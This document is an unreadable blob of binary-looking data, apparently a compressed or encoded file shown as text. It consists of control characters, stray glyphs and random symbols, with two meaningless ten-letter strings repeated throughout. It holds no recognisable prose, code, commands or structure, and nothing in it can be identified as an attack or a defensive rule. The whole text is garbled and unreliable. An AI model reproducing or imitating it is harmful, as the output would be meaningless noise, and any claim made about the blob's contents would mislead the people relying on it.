uڸgr:'ּFt٨(ؠ^sR٩J[EEF+V	ExX,RfTLE~Y˛3?o!&u*0x}5Ų0G{ IJ-iŃQ.ӽэyeu	C@64D1D7ֻ֨l܍ ܜ3ny!@[wgvtifpurqcoD֪ȇD097N0L wagN+}XɓīވbBK;oΑ׿jw&Kn{0'qAF(ɏHwU/) t ţ+oafcklrnhpB/|ui|noafcklrnhp224jboafcklrnhp9LD,u	9	1*#q8^JFhM烩N9y'۰ nl#]" ڨ곰9mWopwgvtifpurqQ8(!K?=i]wHv)0PJ8̂b
9XܤTiCe|X^Qߴe	;C+lv^D[a)ą~["i/zT%FG2]kSLdza+-"]{TYʨŶ%H戙o|#[{u`05F@Wg'XtfqH1=Au]a L7=!399B3L|y-fC:Q
Y|oafcklrnhp1й4妾f'{PMXc8)'6Ϲ|G!͹wVks'/^ӰE]2xAo^O|)73 [:?2X͍t&˱=5?Ee'cO+2WOR9}'p#Qk
Т_Pez_)\ğ:&y 
D\}`a(W5E)|T23^nyDea|7RY_Q=b4OY}5ͦcoafcklrnhp*qrXع|~g12td;h'ЩUɰ߽7Z̷6
̒}PbٛPSsMkQLS/gf	(7m 7+oafcklrnhpdž-^e+nwRFW]Ȼ.arP*PU1"uqoafcklrnhp1)(eOGz"O!fd/EI-߂wgvtifpurqIQ%!paP!\6x`: W |IoafcklrnhpG=,JxWNl|:6hLcX4T07$A
=&KIh:@JwIu3ռ'b)9Z
Р9Vֲ!q~4cB|~iZeɢMzoafcklrnhp?3gq+_8pWڽmw."Nq::m"Ux|'0_ԣ#r*A8
0S CX5Q jJP{T7[wgvtifpurq2owgvtifpurqݹ&vIHGs)xWc 9HT!	;~I"+oc
(#ܢ
_]}oafcklrnhp3ƩϘa7h相¡3a15IwVt,ԅ#]9^E)Lb9df)'APGz.3'zFĸ5µ2^8
wBA0/jw52hj^*g2iw}ZV,uM0R3,y$d h,_~u~@s5U6]}'DA|V}.x#t73pp|p[ca^\N+[oafcklrnhp@4 [ظxwgvtifpurqBʺx{D?Kȗ
Poafcklrnhp*YsVkƸ9*%WjOdC]S&%'C"p8
:poafcklrnhpV_~B3LE_,դTbc$W*%*p|Ns΀p
~$"GldLɞZ 
.Gшt^Asm:r?A*oafcklrnhpcrg77+t5 a}@Kx]6%Ov߉SL\WK"=KRee5kKÙa,
L'W1
}(KYƇTHtٌJܛ,++Od~s)&WĬVY$oafcklrnhp*}tYlHޭFɂe]N*t*/;|)o|Q{jXzJXroafcklrnhp0ѭ,hiqB'a?
4_z`0Bnav繫XqzfPmƮX.^2݊t
#}~\ANEGXe~@C2W%fz0yܙktPuV/5xDp1+Ѯu5]2JwgvtifpurqkD(X,Cx*S)Ux(KHiA"MzD.dx,8`{ѐCy8ٜ۬^2IYI5*{*wI7`m@Pےc=,2I,F{\_-d2I䵐!	
%ޗMeroafcklrnhpa(LU
|B;o6MA }hoؤ	u*}=[S&q3Pt2y+|]-Xi 7bX )G3@YZ Ѯ}yoL~fwgvtifpurqy}s!sf7ZhUh9r:?ԕU
n	@5NXk['/CTW&XV!T
O%CswL7*$氮89bYk/WR:-!dce􉟋gl0 TwgvtifpurqƇ0oafcklrnhp7SwgvtifpurqN=;Ⱦ.J|Eoz'F[v*Wqed`5(
5LG^oafcklrnhp^u[ThHׄ}a3;,?B&lyAZfuXȓd7oya]FF +djfג2oafcklrnhpXuw3@(
ǓbW޻FJc?Lyw$mkk ?D~7a/zэYxlҀ0GEGЀqט Z-b**wgvtifpurqn+QGx2]ř铛˙x[ nաgeYgL?.Ư;&fs(^&'ToEWorHBgέz3)-:bKBWGer8-g=p@4aV
E'*)?ˊ'("*Yp;[Zn)ecP/^5KM^o?O5ϵvƾ1Vx;œ|gXP
dk5rar#MQh.J5kشKJ=%[, yNdwwgvtifpurqLR$,'._e6,DVIO;0zh|veV
N]wgvtifpurqBq_;H^FgHٹ2BɠC פ6n}DP)x,!O=кf .cZwgvtifpurqgڢܸvo{ڮ'DP
^Vzd6:oafcklrnhpik6 7l[UЮ~/6bՈgĳVA''x?\ .)zW *[|O$ZB- "Nnoafcklrnhp*Y⡵yd;	&hE,ػɶD.04Oqu{Fvu}P3ߌMKF$ˉ~)r4ؾ{|q=MthpA+0ojk.d\|Րq
كj$Ym?QOHFk8ܢjFe1!(uz'UԦe4=u[ѝmZ
ej	QiKnΗh*@d!qHj.d9b:V$lPlñC
xy΍PL̔V?5R;B,&tL?տ%+bcɆOnɍBt~[z;,^%d 5	6@wgvtifpurqsg#?A$IIM6G_];boafcklrnhpjU+;d*CNA
MICEeh&ϚG2	m,MdM4WGudHt\œk -*mJŖ5VNV$K= QPŔSy:|\zci!#/
*Zt Bh'7NwC Ќky#(9N""pm1_ٻ$ɫ{BP2oafcklrnhp5XxBu-O͡J	,oafcklrnhpq\=,6ԏ5-5%=[
9+QOwSF$?5=~3ҽ|2F[bq
.r8}	kd˲5[,	`\so{&+-%Yo`GoJGr-Ԣ҆!zb0UGٲ
ۆvg!54wzW[ǷO&x"ג"Yѣ1BL
6ϊll(H)U8F/,h=bw`{:a FmêNj䞒E#[*$06@LjF%ƈo@q3;|h{?s%·a2~O$pЋsZGIܘD G=31/l0 ̇Uŉ;$1#[_5{݅:কoA]e]+/%W!Qs2gz4ץ#9zY}cZ?vQz;V`x(e{EK$~=;Tf2㗕g7,ZрCdqu-y*,Ewgvtifpurq9{'cptC:$nTI0_AnXU+Pt	R\ywgvtifpurqCad/~5Sї;Q)vѥk@O#ieͤ_*mcr0Qg
XGJPS\\·qzd3'.+}4ӥNey&"Ԟ
a|
rBȇ:G$LΝUmE=1-_?,tcv5z2PUNkt_hK+ǰ=*$Ga㓕9`eKj+0dxO
g{A`74`uэcIO"Wln{UpalDv7LiT@SSTF:9~V"H4QSֈ'ÝLe
Mp-YU@ht]wca}L9J0*h$G4kL
ƦƸW?Q kTv71zr&Eq-bϳf}D{aNKb U`oafcklrnhp]{l=^Өl]W&#('gDpK^'!rm*rQ3y1`B+0;n9[R֎beR
;LX鉎uCS؊^ج
,@hoafcklrnhpl&0@aH҂4}UHbLd,@d"NҜ(-:bitoafcklrnhpn1G˗P@ݡnq7Izet)$bv[axWRk_"3Ȉ #
cL6%X:4hm1MI-~/9iL_'ޞQ@o["jUo\VVG8':)Y:խ*Dvg\ ~1;F/+Jq':}=Jud
dh!6L	ˍ80S~/ܗꎅI	`- ._P
#לN&v`Ff|R`S+Z9B[rU;kOjJ DqZuo;j5 P/zHٺbG-}p[~mW/2'X@ݟhhGņyoafcklrnhp~]Bwa/	
ܧLmZB)?;~s bM&wgvtifpurq"#ϸYMKxoafcklrnhp[FzGXs܊HejzH%k	e@f %mVy@zoafcklrnhpڹFFKSYOal28]1Ё-Q_K~pU_pU	?f-DidqGBMۯ%eZ?؛HZoPDn?DPJR5*-t9N$6G~KCmpJxG3( (G{ӝaͦlKzoafcklrnhp0X??-f	
ٳGо 2N
)qÐ/[~ʯؒ^Q/˵+^Նv ,|Qmܧ#&ZMLzc,`^`*a+U|{O"F{QhǲSؾF-rɘ@K.n	֑|}]NQDL3Et?nȵy! xiZ(pa'DY)z'N"=+V/_]}z]i-'2k!G:{a/Ll!b`|%#[b,,!xiث1H20*#5soPLĘb)'L-.w|*`}*D2VH}I3p]j72v$ dgCBe.!6wgvtifpurqc@0	Uiy.@AraxpJVdO5a8ze-u4xlKY5ޝ1}1RyۍOawgvtifpurqӅṯqAf^
Yb 
(tv0VwS0.1^|pD(S!rX9 V87ILȝ$@Kg	*[9iE[#'DRHEaʏ OIf`:q^v#Gs;i6Uzup-UF|^c+ʆ/^'0`t~5C{DbŇHga3wgvtifpurq(Axo~=mHtWʔW	jG	Q=buKD_00h;La(vxq8r;΢$o~gUV۶P.8ß
jwڲC09'a,O\%O@6U=&=|ԱwgvtifpurqFirշ:Au{i~4a7kNо[H}#$y 87$
Eoafcklrnhpcsfo{2zn9$)֘`-뛎ЮCwgvtifpurqiuU*yG_jbk8\J"Q2uQ)*
V+0Kvݚ0loafcklrnhpiȆ."{

`+oIj}wgvtifpurqsfKjtj*~Xm~4$`@
rt3WR@Pqi"o1fTs܏CO6X2!~_jZ+d)q?er2)xy"VM65lMc)~hHc8oafcklrnhpO5n9	:s~)D_'+;'/6%:=[+|H(w~նLh2g҈?]Uq\ۗ B;YpDXUz6wgvtifpurq2EHa*/dqsI-*irXאIh׉Kӣa*[Mz7!aD(fJ+L!t߿{.Cs@DcnrX10g,.q(5XNs;oafcklrnhphii-*JX\Zd¸wgvtifpurq)	q,)FmOh)hwgvtifpurq.:+
33+b]!u8wASF"G+2T?+`ֳfZX3*k}ƖFNln/_6)L-#d.0Ý ?U6a5XXzq׎ym{y3
W	;!Xa[S#^HA7E?	wgvtifpurqBO$ϊe`gN{[KHq5-S,)|O}qQ4r,gl'Kc0){fH³*P:щ:gt@xhʋLԃ~gD+f	oafcklrnhp_B&
Woafcklrnhp-@y໌JLOr]}ӓe2Sp`	Wy*FsA[uo\MDܯQs/hFzBJDh )1|o+V"(ۧ9|[Vz5ؖ+"GRқ߸d-Koafcklrnhp[뼆ll$hݼëFk'o WWP`P팊}l"SNwgvtifpurqӄcHY 9־Yoafcklrnhpզ|
T&d
/1 /m&mղ2zr^^["{5y轇
M9@/08r
	4zCTel]j?	B$UUҊoafcklrnhp
Cΐ̿~/=HaJ`YkJDgb\#oafcklrnhp|8D ;WTuFwˊwgvtifpurqSPUQZdrrڿSO\H*C-f.dJ5wgvtifpurqrV+hH66r,d&ߵ0]D$ٮ'H?vKl%Ȇ6fրw_pcJ
8Jsg}$Qݘ]fnaA0(vXh2$7͎E,4
@|3J&%e{S3m2i%-lڳOU7Zk5orlCh_nZsi]9G.W-^;r`()B*}c&]J9kpѥo]"k?FznYWRB΀eI"A:|=4`|h(':кTl}!m&Z\@MrAZ.\~#PJ蜼D]A6Nkǔ %AF
R:Jk7k 3ԗٟzR LOKENTz խ+4~
$K:&]&TM@Gl4R,M5wwgvtifpurqWHk	o`d86enujJ)&:}s0Mr	%`o`!/4KLu3wQh  Y/DpO!O1s[ЯkYiǼ&ڬ
+gml%JaGCG[:\BNOjد27Y
O |wmoafcklrnhpf8~截Jk3Eׇиnz$ZNyi'(QwgvtifpurqÍq/k~?tU-VO(W%Ĥ¦O&*3	l,qxosQ~*DqyJޟKQ#[uKD9|#%6=pN_O,(Vv )5A5}$4 Tܒ7a(ioafcklrnhp1P,6:lpo	]HıNU=yc=rrļ*sBv9,+jN,w2a_au:[&6޺ȓoafcklrnhpȦNwŀ,hH)ZTKBmL%NmU\OȀFfWn5jwgvtifpurq9twgvtifpurqvϋG)i%6Iż̛_  PA6b-\wΑ$Z"苀]^*MI-^01IX!dgs-=(:PKL Z0'w޴ 6F[p3Q	e\[騏$% P#=D=߫܁Q[/A=kJVW:o
"Z)ᬔTFarcTfԢom^J|Y̯[koXhsgL3
Ito"VUpM&FڳQZQP;8\sQi+loafcklrnhpn/*:q@ū7M45gug^'*:tv4޼mtD+91G}й@M*eWAmK9J`
s	ax
#L7(ߊ\4)/9'pW}57Ȕθ}p.sAm:)yIC@!QaLIdt-
	{D+\6?vǍf[IswgvtifpurqY#^%A?{D1o,_5_$G[ZÚL^Mf-B\yT=$a&cx0~ei
Z	dq6K(3ǳDc0;\_,yZ\y|WTLy׮"L/3#Z1V3𧳾uŖL{`3CM&/ZBŁUבX;^ܘcuv	qȠ-?oUdZ8JqZ]/et\V1RB{=mmpE4Joafcklrnhp9DmY } 2H_΢L]x-^Ԥ;
 6.jgubp|sLxoafcklrnhpǈRoafcklrnhp蹐kVRFTwgvtifpurqSl]F6+Ũwgvtifpurq?b 0*p(3Dɴo*}dA-n̎uy}3'UXkRW4m$"	$(ᑿ9~k^H715G7&CN˯PIR0^5BTQ?NY6Yd&7rڛ~Z~!썄N~kGX [-͗®L.HDls]
jwgvtifpurqڿbrBw)AZJ@avb g*K׻	Shw֗$itbSoafcklrnhpK'^J|]0̘	,-D)Zvj?e-3zj˅I!6r*UP#wJDa50ݟh]+~qʙ^j\Wo\wgvtifpurq֣.oafcklrnhpQ곅\x:^"]~CQz4ބόIJVp0MK}aB[^C Q?f@q,p[Nwgvtifpurq:
xQ'06:f
Pw09lM\4\TȝI	2e 谦綆v~bkh]Mjy"TV=n݊6Z+Mоd-~Ye]Y}?M(mX
t}۽m/=vyHE"VwAoafcklrnhp+W0ZؕIOKvm5w+˓-H&pY5kioafcklrnhpʯ-3C_hǩ}h@YzPyAf}BBV	g/m -oafcklrnhp% =s )@f=
rH_wgvtifpurqQ;͏*sW
܊x C 4/KasZoafcklrnhpe2KD	;2vn`:3ҀWAsH"-1|񋲔!MgHs^	z.iA@Tf
F,X6,*(rqU #PYTR%U?:Ņhn`OT-^1I{L
*$GejQA4
'YwEz*{PPOzd2تXZ캑i͓ηFr^䧢Hʈ	:=ʧ߱3V\;6{g@5x3'I(}ǈ_aZ0r7~S71OZ;2k
Raoafcklrnhpp2yM"18i!*}F׸܄=MBdl;iJC;9Dԍ~xW|^_4P}Jq%~VgXYotR,`Iլ%9Ur`|aD'=cEGGM,z_;Af="F0U
V5AV4 oJ%%V)@/f`U$4^BGדϵrOI'@uݥ녃{ɸ7^i5~+K"]DL,=`;y,D A팊Q֠!ƪnCMpi^AFoy৪ѯ7	/XZec2ߧ??WM4#~oafcklrnhp+mQGzڮv
U4hY
ۘv+U~'Ehʠ;3M	wgvtifpurqƵQĈv;'EVU7oJkICYJndq@)s¤$AzX1@-)BoRVtzWkpN?l.ѷw¸xI[S~J@]U֜1^iKZ;P Vj:t7h.@J78%Xq`g$#A4]'&ǐ;ό+
Ip}ayW+cpMH3䬉5wxA#ÌdF3]{Qjf\-(Zi wY+|BY\_i"BsY5N搠',YP%?wgvtifpurqMkPe?oafcklrnhp$Q}6Ԟ;
]ƠwS{Bui*
KF;^ŌkC¨hu`oafcklrnhpam;x\=
{y^bP~kv-$$pLCs( CAA;wgvtifpurq=O߸zK46nwgvtifpurqZLOЊrsXCuoafcklrnhpg9
TWz#҂X[8d|ma2d{lG@Kgf	n)oafcklrnhpu3lgn;22)rJƪw߁ZL[]cZ[ZիNV+|8ƣ˹tdP"}_wXgߍVoȗV{4$,Y^erM

ɳ^5T?H|"ك	j } ,\c&@S`$#R	R" Xg۟W$nuѻ20k	nlp?T# uc~a9EU(θǁӒ_cQE+EQaTɭ. j%7C94wgvtifpurqVYT{,NsP@O,
dp Uj{cWoafcklrnhp}@'6=k/6HffRDB|n])yEaXWXÆ/d.g}y5SLFz3
EMȊX;"1_~N9nOoafcklrnhpmЧ2plyU-K"j"4LnQoieȟm?8s9Afօ}KdYOBy~H]H3eJģH#V4n9(~k_]a-JtjKGū9bzZRPHc_|B[H~?@˛ Vx}B#qiY͙3e+P{x)h%
c+0s!R`OҧJA$2;;ESu#q :rp@! Ǭ_oafcklrnhp oafcklrnhpb^BM(Iwgvtifpurqjqu|^Ul.(;"PbeCԗU_HRߖ4& 3Vd7"Oo.ڤC:0ivU7={{l/[Dw48X.ˌ.Wo#F,Î lY=X;UJ//g'EH*Ỻ.˧oafcklrnhpMoafcklrnhpԺAx7GI9
"qoafcklrnhp1Yd#QC|pcAve}*~e!6AfSK8^p23VEVi~2+=@	(l|cEеXdþoafcklrnhpn;mi'z|/wgvtifpurql iSF¸BчGk7*I 7K'۾
QGTԃDXU,39U~}KWO49(yIGGYUM9~}4kV}զ}JWVh6lj4zND8T:%BoL)9jr3JUcDl8]HFNej4AeCI^{]`N¡`:/\ S,~/3LaN~B-'JfhP  -Ӟ^(Y' ,쿘z
fENi8}bG]5lwgvtifpurqrH9;4^gƩ583t2+h Hkb
C72{32q+jg?+:8^mY1q8]"-NɈ\iV0K'N,.kYAvjI{Gj8kkgO*cCA)}E
o~+V?U~17:a5ۓY!_^[Trwgvtifpurq6 J*qm-w;피:TW'"HS4DG0sd(Y/MEwrF[VVД{wgvtifpurq7	#tq
m+eju~Ftf!kbnc)X_5LuEd"repvwoafcklrnhp.\U~N&7GllRlƣn%_9 ^l%4oafcklrnhp/lnydb*ۤ97}ir5?	oafcklrnhp
H	g]f%C
iLۅb~ԋu/
vfPX(I_UWH}y	$ۃo8Wf\-DdCckPl&?sY"#]'8`uw;[DTv?doafcklrnhpv oafcklrnhp ROI@~\l4t$S76W't{c|i(`R϶R'j~WLP}d3@nz:v
C"z,A~k6F~\9%Qm+hXc[ ȜrK%`A2˞//awۑ}a"4pRO=".29)/!inBsDP
S6vu}~@LMP)Wri#:ܯ
T]a~g][1DޝXk,,ȩ}6rJken[oY{Z#ӗw 	VE)e]eI9O/
(tqe421G4v~D/(M=9@zwgvtifpurqcY]]\wq8=[Lu
v$SƷ9 
oafcklrnhpB#at nrwgvtifpurq7s8FzVD-*KɋNة۠`Mnv+z:ѯX1gA(so@woy!m٭3-ϣ_
"~(y\	`zhV%ItHa0973oUo΀ۏvKs"Phua
w\2Qml^ߚ֯?.w_FT)Z[KF+|Sʣe:wgvtifpurq@~4:*JoafcklrnhpYl1I{Ԓ=5F=;mAzx|oafcklrnhp)$8aoafcklrnhp
sġkɟhz&rό/ ɾR.; vg`M}e*/!YkI@'|!(O9oafcklrnhp86uǩ~y"/nyjG/il9B]#՗TwaE%=Ktؿ|IAwgvtifpurqзδW3z0DH{+s);ٙMil~bϹ͊	H.K%pwgvtifpurqaeA\łڥ%%1w`(1UwgvtifpurqH'Z#':8rOqe9&-M
z#:'wgvtifpurqFBĸR&0CNO|["[u&nc
5[ݤJ̈́$.R"&2aEa[~poafcklrnhpSBTp
oac33屏cDT­wgvtifpurqiOoafcklrnhp.oTe!5bNfIڒB+qLF hVBP,n
yir򅑰zM
\f1t^|۫ppUS##`bq6rFnlOoafcklrnhp5Zˁ zoafcklrnhp᳈L4&^O׎\H|^+~Hhy㻛#W)޷= axWwgvtifpurqF$˽|nwfح_RӜNY`ބ6߽CsB#~p#U3*YD~fO"K&E	E
!bRap*p
^h3+ë¾
HI.!K$9%RnoafcklrnhpʼQ gjoafcklrnhpuoafcklrnhp 5%wܰSA֎Ǎۧ^+Gkx$~n.Fy?:T#oafcklrnhpݛ5X75~ۣb^t55XK{Ԝ^r%ֺY(GIh

4z1M+[73bu[; /_Hg":`oafcklrnhp}2"0lKǮκ%!1bǱ+4fg.VEиaǿ#_ ց6$8LLp} ~:~ ظ*JGG Exhw)+~oKDUY㘽ĈǛwUw8vfpN=hwgvtifpurqqr_qnGZSZ_L8haiN+ZzF!wgvtifpurq)hNHC|ÇUpɦI`Y{REִVtF=
(}PЍϙ+CR#(m9oafcklrnhplOگ.ʰ@խV4:oafcklrnhpSFDӦ]Y&D H&21ࡘ'v"Ԅ%l@ ցkLI9FjڣR.\Prbhxi~'w
ƿjSљoafcklrnhpGq48g3gBt.iG2IyI+tbR.&	أ7qZuF)L}.5ldpgyVJ~toafcklrnhp295YwjŸ`}\V
VYU
,WwVL:p)y˫}\kkdqfZ/߀:ױ6
5h@T}(j3(|HmS_=P$v}e~4c
oafcklrnhp1/ofn~i|h8OZ:wgvtifpurq8Il[%l$
~9TaeX&G{r6p;-SoFg"ky6%ygkJ%"޽)GjJL:jqb(RL\"~NmIzF5aiЅk;2c~Ύ}6a#AdЎcx7.rJpYj--nu]f7	Q"~Byp|,O/Ce*e![ؼ|Zӓ|g&$ U7hRv?;#V:9B1CiU vS;0@
Le\nX}AԽb;Gwt΅&*rbd$V6-_@WXcyoafcklrnhp@`l]%=,xbx3UZ*ܼ*dͳ8oVW9p
!Q\e봤}sd̖T̻x%x\5`

-+8תΙuyn阘I=v&ISNj|@3n'wgvtifpurq
=nAC۬SLy1Sw|;0x+$)uCOKPDR	a+TXɾ$+_5l;'()gtoafcklrnhpI+_W_u$ΌX0=Z`ُ]躏eoafcklrnhp\s$n^J &lK"⬆rH/CvDᦈ˕r3E٦(鹟,tO^6/^Laԫĺ\Djai(sY_ hQ1ybщɬ@AFx C0pT38r7aLeR
wwgvtifpurq'ǽ9վP&|@y#w+~#iꪸvWk+C.qz5#D6?kYspKKeTF|s*86l*JFpڊ{2}~RR1}щ}u Jv(-N҃m$px[QECbv"nXY~t{0ƺшv2yڲy
r
S2x?V0}@ewkDз[XK~ 
Ky֒EVBY9}UdMF'7[|xʈ[
߁Yu}A_Һ"pDB-b{Ib{/+ln-=-"/d+AduN t{
-+0&Kwgvtifpurqo. urJ%v6R:'LP*ԒcT/wgvtifpurq?9l˳j57Lq%ԠcZ[c~WӰQӤt갫V3W{j"1HS5.6ހT}+--yC2V$9hR+W'[L
5;KUI+Bd l_uFFwgvtifpurq○
Aooafcklrnhptr|bRYwgvtifpurqP,FG}PGwgvtifpurqlɳ0%\DL&'=yn&f/	Y7}߫v8PDf	iN(w	E?^MwgvtifpurqC(Yr!MM,ٚ0ZbĚXM8]r	 yc(z(
#/Ք&=bi"s^[y'oi;;;P(l5#J]u|#
M|}\.jo+Hwgvtifpurq(vSwL;k{5&EgvlVO;@K"Y6 *wSv)1Gɏ"ka_&F 0D03,4,/V,ʎhÏvم/+lz@ˣhc,sd n:
۟V/-܀8]_OQ =fAF}:c l
h΂0?-y41?3z7
Ki4yeミ8ˌQIoafcklrnhp=k0" HRg%_YleQ =wgvtifpurq@̏ja*yJG`-0.?n{[@QEIw{lޯi ZJkqgu[5Swzǡy=r_lu@4ڤl{L\obzE[GHڱFi2ٷDmRvA+OVܛTC)PM! .5\N㗈R('&
Dwgvtifpurq#N&8SUGoafcklrnhpe=%ѿwgvtifpurqCeAKr?v3`!No^_νVAȶJŭ' RgzuU.
|`0z훒O)ȏڸ[^
X?ɤV5jJUnRb'oafcklrnhp`  7?wgvtifpurqK}?b[2fxP5tR
w&;Fv1oafcklrnhpoafcklrnhp R^FWAa)=JoafcklrnhpņASӾDo4j@G{-~;?WPSK8XZɏl,)ǲ3WR{ƺ9ПL9*iJąOcG+![/\Dm!`|pYcلU;5QƎvmp0GEMXQ1spS	/V~z["!oR c}fv&N6Z=eC2KU٥&p cBR_0H8ͦӺ_(g	^X׹Զ
&Gąi^A,'SV}
nc4tPn8uTw[ȐcTW嵘a޶-Z@r܉&6?rdZT_*:@oL.Y  Mw.eq./q1+va=IT7+TˤBP\$]p$d)
$HS7?aGL?
SIԔu6wgvtifpurq=Ūq@]tzC)	_6⅄hwgvtifpurqK
hh4ê6N@T}";nXM$O
pw;N XWq[*Ӝ`GTui,x ްf 볆 lF6Cki#4.!#mbvzB?nG嚉N+u-AwwgvtifpurqoafcklrnhpAHU͇@nB$')ǻʍ~`dۖ/Ȗ0u£*l*97ȣHJ&,

h!!䉝'oafcklrnhp8:Wirhhk%ʳ~p8eq[n4h/(dW_&\|BwPB|˺(.tٮ飕GwyPNP$Mg*-(bp1W@?tԖq֢}TLQ⼄*f"2(oafcklrnhpMTg}P95\a,HJq#YR֌ͺIpL	wgvtifpurq4D/@ׁ^D&~gv&qB2wgvtifpurq56c
cw̚IMQMA}HU$\]Z󮙅1HsBwgvtifpurqWvyդ/zSŬ'E̔5pA.pmQz4@Dbg&B$Ծpx~/d|ɘe_ZFw!ߕY'Q\@Ӽ(s"ȶ߼(sCct(wgvtifpurq&fh)IJ[WM	X跭m@o#&Sy8SPdDsIK0;?3liZH/R@Aɺ
v]ZVOHoafcklrnhp8ۅN6T@\?s3k@Ǟ3bbPMM٤!"2}%̂,󟪗m2:n&/
T:HdL6i~lo3c#a32`!P@HDV3 pS-7CI8oafcklrnhp	N	bfP8];fޑI Sv98∔\NꄖL/ۡ6	Eoafcklrnhp+NpIq!{^d+!έ BFqU=_MT
˒% %{	[5Wʵ(d_Qxӥo$jAbu]W͛T#wUX~yX_XȢ\XH,MBJ.Qwgvtifpurqɯ:	Aas4Ng1)woafcklrnhp!OAOB}*)޸r_Ju$[$_nV{1*F;ݘ~v(.UȂ֝hM%wgvtifpurqiv69qMCQV9A h&[:0׎lXuy`'GF4eW;)yeeH%o7}7#muÔ(PwjhQGEСB=%&?..2%
'uedQ?]Q?bƖjX%E]s3茤|%9%_n9["PTm|l_E^|إoafcklrnhpXp\Tcz:&77rEVX95M8$yOvMix.Fz0Ϟc)J[n F]W71=";DhGGw 7(ʽ1&#	׉W6@.$WD}$u)8N~t4fΥToo%uZx
c)\ӧ7oA&xBUppekz9S輴] ٗܕ47vQJ^QlkǕBƇHcZ+cw 6xYAwgvtifpurq9Uߋ9 N"|J'RZ)$4`G_9w`_v?.x`ݧJrF
Ǯy_fXݎoJcS.?^'hpAoafcklrnhp5l|ih( L}0!3'uRR@$a)tٓq[5I27ł&H\PmEr
\O]rvPE0Cl]	8pL!1#TR9k0wgvtifpurq:8sB'..g{~xլ縜icPl\Ix$ʀ+d&vI*ԖMPIpwgvtifpurqvӀl̃MAEOQOLQkZwgvtifpurq꯹^ ["m62hAWQBh
״ՖQÆE&s]8PlDdNLČIXaӿC*	.NJRp%aAkY J菳WAo8Pntn"
(,	Arˢf(CL~
V- \skwgvtifpurqa56VlN4m=vX֤,t;,/*QT;(et惃uz̄\AΣچTg[-1%jdoafcklrnhpIau=hʳe뭞FB;ۏ
 %oafcklrnhpB=n̙X:!SGL^Ea&Bwgvtifpurq&]^"g{Wuz-F~0
/Ë	qY#Ӻ8%gfe[TĸDbhj||Qy!}b:C@[A@.ql-js!PJ4&,FdG,@N֪
MF에eS2;N|DEKӬc4H(d &ӣ_c7DKE$#X״^gU	:lE[	4E)W
!KmeV~H-uwgvtifpurq.O. y=Dbq0W[АlEErİ7rm~=]jjF!XfuȦڮ?{WSv#AgFsoafcklrnhp''Î@ok+h4#/ݿpSMkF	Dg=ϡvGfq cYn"[uME?/I;YX=-S=50=Dwgvtifpurq] 4F|)b
GFקI]r,iP5蘽3n+ďB*BP
mO]4)Xj2UrD
@W+(J$[nq.ߴ2z~{n(g~k}	Xv{雮=֧"Kl=AQ~6obӅp?6̱*bT:/Cwgvtifpurqa%zs_[TԴM|w|1s+#+aզ}GV=9͇oڇm0En~Hd59^:wgvtifpurqrׁ'K3hR{u2ɞ|lrt:w.;uOp~k'##;Pށ?g{#7a`_=,ru|/gŏ ɩLk.:5pkt	`+_A gRT|H0D^у|j$"6~rؔKoHh%I(˛(giE`wE
["y^3O~+cIC4
BWpo`s8 v:MYIlvc6cb䏄_ۗx}+w:Y-^CP;ñ72RS/\FEfb.mc
DwgvtifpurqbbWЏ|^LL5r{(=-{	+2@z!H$08ף/3+ :q XjEp4NYV)ٯcۤx=U_DX?'w	Zy.Oz#:')`]F0Utn؛5sM2`nA: oBۗ%1GRy9vfA2haK!VM*Wxr
$UNʃ"ج$wgvtifpurq^,i~sl({~R4:`6,#$*:[vc&kʵiPewRsWgi5zeȇzcf4mSxHTQ}&2b NVԉQև{cC6bZB]Mr?fR6\p8͡2Uvh?uiU3ާRajx1b43Tk&IRl%C,zMҏ-K9Ch"5f4Kɍ	qInz
X
8om
h&q\zB"8̓AZbM(k0MՅzYоߖʆLJ]j͍Y#%J1.ui&GǫC6VWAQ́ݩ`F՞ڙoafcklrnhp|I0S݉-|tP~Nc)g/색 srMwgvtifpurqoafcklrnhpozf^MͿǇq;j-Df7g&"A¢f#Ѵoafcklrnhp7BW
pwPWZYW?fM{bBa9j{n؇:hS	Q	%gR޵(q[*i;wgvtifpurqwgvtifpurq|W=.u!8Y9YSE~/J򗇚_WM_0.OÒ|TZ8k ީ/e֡{
aCtٯבd-"0RBMt}ē2	1!ѫN3T3T3M۱	MMSYX]wgvtifpurqFz1H,W1X3?B%,OCpͼ]nݼd"'Skl9u@Bxk$LD{G
mxzOR+EUXjbo
||mȈ@RX&M2iJ2y
4.44zB*?WWJ㒺	ڛudAa*("IнϤ&Ou(@k/0E?﫱xt[c]sp5@Ze[_(uREհ,RӾyŃr(Lѩu
ǿ@C6:CqC/؍4zVAM	=.:][ɷ+^ u\$m8![耬_9Ά̓Ά2s,LoN.w4+fun	5@2	Ŏ8e9!λgP[YfżʄO2̳i'Ocx-p@gHBCPVcd*8`k6kTQy |9[i&^?oP&li;x]Tgה0cwgvtifpurqh 1^yҀ*)wgvtifpurq]wgvtifpurq뙋;)gY"@ŪQ~x/cGgגY^DD|po͏d
[T%bʔ	boafcklrnhp
Uι+S6N^P&fEd0m2Q3@wgvtifpurqtWmƗPZ
P$gҰ:T9ȝ"ݓ0c e`P"]~	gU+l"ucw}[zfɨT	y4ӄ!	]ί 
x[Zm]M
/{JOٹl"ɀ2R0~!YL͎oafcklrnhpPfW{q˓E!wgvtifpurqїX@$/-*9֭?q  oafcklrnhpC{Yŏ-$;8 脠w5HFJfQZ5~ OuddĂĘFoafcklrnhp^~IW16wgvtifpurq3/xQц/Ő/Ihr˖;"mh_/MLdƮ		wgvtifpurq+O^O;
\H#H]ܢf49KK k9")ųja8bچJw8|!_bXi0Ĕoafcklrnhpcޡ.-(3^|p'PYH:ڗ^5#j'Kl	F8BpDUsCyJ6&-}iRsnV{)  z_MyjŜM-J"p@(H
